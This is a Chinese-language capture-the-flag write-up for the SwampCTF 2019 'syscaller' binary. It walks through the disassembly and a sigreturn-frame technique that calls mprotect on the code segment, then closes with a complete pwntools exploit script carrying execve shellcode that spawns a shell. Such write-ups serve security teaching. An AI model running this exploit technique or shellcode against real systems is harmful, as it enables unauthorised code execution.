swampctf2019 syscaller

相关资源

文件分析

1
2
3
4
5
6
$ checksec syscaller 
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:00000000004000E0      _start: 
.text:00000000004000E0 push rbp
.text:00000000004000E1 mov rbp, rsp
.text:00000000004000E4 sub rsp, 200h
.text:00000000004000EB mov edi, 1
.text:00000000004000F0 mov rsi, offset msg1 ; "Hello and welcome to"...
.text:00000000004000FA mov edx, 3Eh ; '>'
.text:00000000004000FF mov eax, 1
.text:0000000000400104 syscall ; LINUX - sys_write
.text:0000000000400106 mov eax, 0
.text:000000000040010B mov rsi, rsp
.text:000000000040010E mov edi, 0
.text:0000000000400113 mov edx, 200h
.text:0000000000400118 syscall ; LINUX - sys_read
.text:000000000040011A pop r12
.text:000000000040011C pop r11
.text:000000000040011E pop rdi
.text:000000000040011F pop rax
.text:0000000000400120 pop rbx
.text:0000000000400121 pop rdx
.text:0000000000400122 pop rsi
.text:0000000000400123 pop rdi
.text:0000000000400124 syscall ; LINUX -
.text:0000000000400126 mov eax, 3Ch ; '<'
.text:000000000040012B xor rdi, rdi
.text:000000000040012E syscall ; LINUX - sys_exit

可以看到首先sys_write msg1, 然后sys_read读内容到栈上 之后再pop各寄存器后触发syscall

攻击方法

首先想着把str_binsh写到哪里然后执行sys_execve,但查看程序段发现只有栈段是可写的 但是如果用syscall输出泄露栈地址,后面就无法继续控制了

这里想了好久 后面看wp知道mprotect函数也可以syscall执行(rax=10),来改写.text段权限 ,这样就可以让sigFrame的rsp 为.text内的地址 ,rip为0x400104

这样就可以跳回执行syscall调用mprotect更改text段权限,紧接着读内容到text段上,那么我们就可以直接写shellcode了

可以让rsp =0x40011A,这样读完shellcode往下执行的时候就直接执行shellcode了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='amd64', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./syscaller")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

gscript = '''
b * 0x0000000000400113
''' + 'c\n' * 0
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

syscall = 0x0000000000400104

f = SigreturnFrame()
f.rax = 10
f.rdi = 0x00000000400000
f.rsi = 0x1000
f.rip = syscall
f.rdx = 0x7
f.rsp = 0x000000000040011A

pld = p64(0) * 3 + p64(0xf) + p64(0) * 4
pld += bytes(f)

sa(b'perish.', pld)

scode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
s(scode)

pi()
pause()
⬆︎TOP